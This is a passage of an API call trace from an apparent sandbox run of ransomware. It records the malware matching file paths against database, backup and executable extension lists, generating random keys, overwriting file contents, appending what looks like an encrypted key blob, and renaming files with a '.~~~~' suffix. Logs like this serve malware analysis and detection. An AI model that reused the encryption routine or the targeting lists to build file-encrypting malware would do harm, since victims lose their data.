	[0140.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir2b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0140.660] lstrlenW (lpString=".sqb") returned 4
	[0140.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".sqb") returned 0x0
	[0140.660] lstrlenW (lpString=".ost") returned 4
	[0140.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".ost") returned 0x0
	[0140.660] lstrlenW (lpString=".txt") returned 4
	[0140.660] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".txt") returned 0x0
	[0140.660] lstrlenW (lpString=".mdt") returned 4
	[0140.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".mdt") returned 0x0
	[0140.661] lstrlenW (lpString=".BDB") returned 4
	[0140.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".BDB") returned 0x0
	[0140.661] lstrlenW (lpString=".eql") returned 4
	[0140.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".eql") returned 0x0
	[0140.661] lstrlenW (lpString=".DBF") returned 4
	[0140.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".DBF") returned 0x0
	[0140.661] lstrlenW (lpString=".EQL") returned 4
	[0140.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".EQL") returned 0x0
	[0140.661] lstrlenW (lpString=".FDB") returned 4
	[0140.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".FDB") returned 0x0
	[0140.661] lstrlenW (lpString=".EDB") returned 4
	[0140.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".EDB") returned 0x0
	[0140.661] lstrlenW (lpString=".DACPAC") returned 7
	[0140.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.661] lstrlenW (lpString=".VHD") returned 4
	[0140.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".VHD") returned 0x0
	[0140.661] lstrlenW (lpString=".DBV") returned 4
	[0140.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".DBV") returned 0x0
	[0140.661] lstrlenW (lpString=".dacpac") returned 7
	[0140.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".dacpac") returned 0x0
	[0140.661] lstrlenW (lpString=".sdf") returned 4
	[0140.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".sdf") returned 0x0
	[0140.661] lstrlenW (lpString=".accdb") returned 6
	[0140.661] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".accdb") returned 0x0
	[0140.662] lstrlenW (lpString=".DBX") returned 4
	[0140.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".DBX") returned 0x0
	[0140.662] lstrlenW (lpString=".MDT") returned 4
	[0140.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".MDT") returned 0x0
	[0140.662] lstrlenW (lpString=".SQB") returned 4
	[0140.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".SQB") returned 0x0
	[0140.662] lstrlenW (lpString=".vhd") returned 4
	[0140.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".vhd") returned 0x0
	[0140.662] lstrlenW (lpString=".bac") returned 4
	[0140.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".bac") returned 0x0
	[0140.662] lstrlenW (lpString=".mdf") returned 4
	[0140.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".mdf") returned 0x0
	[0140.662] lstrlenW (lpString=".BAK") returned 4
	[0140.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".BAK") returned 0x0
	[0140.662] lstrlenW (lpString=".BAC") returned 4
	[0140.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".BAC") returned 0x0
	[0140.662] lstrlenW (lpString=".dbs") returned 4
	[0140.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".dbs") returned 0x0
	[0140.662] lstrlenW (lpString=".vhdx") returned 5
	[0140.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".vhdx") returned 0x0
	[0140.662] lstrlenW (lpString=".NDF") returned 4
	[0140.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".NDF") returned 0x0
	[0140.663] lstrlenW (lpString=".dat") returned 4
	[0140.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".dat") returned 0x0
	[0140.663] lstrlenW (lpString=".DBS") returned 4
	[0140.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".DBS") returned 0x0
	[0140.663] lstrlenW (lpString=".CKP") returned 4
	[0140.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".CKP") returned 0x0
	[0140.663] lstrlenW (lpString=".edb") returned 4
	[0140.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".edb") returned 0x0
	[0140.663] lstrlenW (lpString=".PST") returned 4
	[0140.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".PST") returned 0x0
	[0140.663] lstrlenW (lpString=".dbf") returned 4
	[0140.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".dbf") returned 0x0
	[0140.663] lstrlenW (lpString=".SQL") returned 4
	[0140.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".SQL") returned 0x0
	[0140.663] lstrlenW (lpString=".pst") returned 4
	[0140.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".pst") returned 0x0
	[0140.663] lstrlenW (lpString=".dbv") returned 4
	[0140.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".dbv") returned 0x0
	[0140.663] lstrlenW (lpString=".SDF") returned 4
	[0140.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".SDF") returned 0x0
	[0140.663] lstrlenW (lpString=".dtxs") returned 5
	[0140.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".dtxs") returned 0x0
	[0140.664] lstrlenW (lpString=".db3") returned 4
	[0140.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".db3") returned 0x0
	[0140.664] lstrlenW (lpString=".OST") returned 4
	[0140.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".OST") returned 0x0
	[0140.664] lstrlenW (lpString=".dbx") returned 4
	[0140.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".dbx") returned 0x0
	[0140.664] lstrlenW (lpString=".DB3") returned 4
	[0140.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".DB3") returned 0x0
	[0140.664] lstrlenW (lpString=".DAT") returned 4
	[0140.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".DAT") returned 0x0
	[0140.664] lstrlenW (lpString=".VHDX") returned 5
	[0140.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".VHDX") returned 0x0
	[0140.664] lstrlenW (lpString=".ndf") returned 4
	[0140.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".ndf") returned 0x0
	[0140.664] lstrlenW (lpString=".DB") returned 3
	[0140.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".DB") returned 0x0
	[0140.664] lstrlenW (lpString=".sql") returned 4
	[0140.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".sql") returned 0x0
	[0140.664] lstrlenW (lpString=".MYD") returned 4
	[0140.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".MYD") returned 0x0
	[0140.665] lstrlenW (lpString=".DBT") returned 4
	[0140.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".DBT") returned 0x0
	[0140.665] lstrlenW (lpString=".ACCDB") returned 6
	[0140.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.665] lstrlenW (lpString=".fdb") returned 4
	[0140.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".fdb") returned 0x0
	[0140.665] lstrlenW (lpString=".bak") returned 4
	[0140.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".bak") returned 0x0
	[0140.665] lstrlenW (lpString=".myd") returned 4
	[0140.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".myd") returned 0x0
	[0140.665] lstrlenW (lpString=".DTXS") returned 5
	[0140.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".DTXS") returned 0x0
	[0140.665] lstrlenW (lpString=".ckp") returned 4
	[0140.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".ckp") returned 0x0
	[0140.665] lstrlenW (lpString=".dbt") returned 4
	[0140.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".dbt") returned 0x0
	[0140.665] lstrlenW (lpString=".db") returned 3
	[0140.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".db") returned 0x0
	[0140.665] lstrlenW (lpString=".TXT") returned 4
	[0140.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".TXT") returned 0x0
	[0140.665] lstrlenW (lpString=".MDF") returned 4
	[0140.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".MDF") returned 0x0
	[0140.665] lstrlenW (lpString=".bdb") returned 4
	[0140.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".bdb") returned 0x0
	[0140.666] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0140.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.666] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0140.667] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.667] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0140.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0140.667] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26065765424) returned 1
	[0140.668] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbd3fa950, dwHighDateTime=0x1d60e1e)) 
	[0140.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0140.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0140.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0140.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d180
	[0140.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d180 | out: hHeap=0x300000) returned 1
	[0140.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ceab8
	[0140.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b09a0
	[0140.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ceab8 | out: hHeap=0x300000) returned 1
	[0140.669] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0140.669] GetLastError () returned 0x0
	[0140.669] GetLastError () returned 0x0
	[0140.669] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0140.669] GetLastError () returned 0x0
	[0140.670] GetLastError () returned 0x0
	[0140.670] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0xb96, lpOverlapped=0x0) returned 1
	[0140.672] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff46a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.672] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xb96, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0xb96, lpOverlapped=0x0) returned 1
	[0140.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0140.673] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.673] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.673] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.673] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.673] CloseHandle (hObject=0x138) returned 1
	[0140.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ceab8
	[0140.674] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir2b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir2b.gif.~~~~")) returned 1
	[0140.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ceab8 | out: hHeap=0x300000) returned 1
	[0140.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0140.677] GetLastError () returned 0x0
	[0140.677] RtlWakeConditionVariable () returned 0x0
	[0140.677] GetCurrentThreadId () returned 0x9f4
	[0140.677] GetCurrentThreadId () returned 0x9f4
	[0140.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0140.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0c98 | out: hHeap=0x300000) returned 1
	[0140.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d148 | out: hHeap=0x300000) returned 1
	[0140.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0140.678] lstrlenW (lpString=".scr") returned 4
	[0140.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".scr") returned 0x0
	[0140.678] lstrlenW (lpString=".cmd") returned 4
	[0140.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".cmd") returned 0x0
	[0140.678] lstrlenW (lpString=".dll") returned 4
	[0140.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".dll") returned 0x0
	[0140.678] lstrlenW (lpString=".bat") returned 4
	[0140.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".bat") returned 0x0
	[0140.678] lstrlenW (lpString=".cpl") returned 4
	[0140.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".cpl") returned 0x0
	[0140.678] lstrlenW (lpString=".sys") returned 4
	[0140.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".sys") returned 0x0
	[0140.678] lstrlenW (lpString=".msc") returned 4
	[0140.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".msc") returned 0x0
	[0140.678] lstrlenW (lpString=".com") returned 4
	[0140.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".com") returned 0x0
	[0140.679] lstrlenW (lpString=".lnk") returned 4
	[0140.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".lnk") returned 0x0
	[0140.679] lstrlenW (lpString=".msp") returned 4
	[0140.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".msp") returned 0x0
	[0140.679] lstrlenW (lpString=".pif") returned 4
	[0140.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".pif") returned 0x0
	[0140.679] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir2f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0140.681] lstrlenW (lpString=".sqb") returned 4
	[0140.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".sqb") returned 0x0
	[0140.681] lstrlenW (lpString=".ost") returned 4
	[0140.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".ost") returned 0x0
	[0140.681] lstrlenW (lpString=".txt") returned 4
	[0140.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".txt") returned 0x0
	[0140.681] lstrlenW (lpString=".mdt") returned 4
	[0140.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".mdt") returned 0x0
	[0140.681] lstrlenW (lpString=".BDB") returned 4
	[0140.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".BDB") returned 0x0
	[0140.681] lstrlenW (lpString=".eql") returned 4
	[0140.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".eql") returned 0x0
	[0140.682] lstrlenW (lpString=".DBF") returned 4
	[0140.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".DBF") returned 0x0
	[0140.682] lstrlenW (lpString=".EQL") returned 4
	[0140.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".EQL") returned 0x0
	[0140.682] lstrlenW (lpString=".FDB") returned 4
	[0140.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".FDB") returned 0x0
	[0140.682] lstrlenW (lpString=".EDB") returned 4
	[0140.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".EDB") returned 0x0
	[0140.682] lstrlenW (lpString=".DACPAC") returned 7
	[0140.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.682] lstrlenW (lpString=".VHD") returned 4
	[0140.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".VHD") returned 0x0
	[0140.682] lstrlenW (lpString=".DBV") returned 4
	[0140.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".DBV") returned 0x0
	[0140.682] lstrlenW (lpString=".dacpac") returned 7
	[0140.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".dacpac") returned 0x0
	[0140.682] lstrlenW (lpString=".sdf") returned 4
	[0140.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".sdf") returned 0x0
	[0140.682] lstrlenW (lpString=".accdb") returned 6
	[0140.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF", lpSrch=".accdb") returned 0x0
	[0140.683] lstrlenW (lpString=".DBX") returned 4
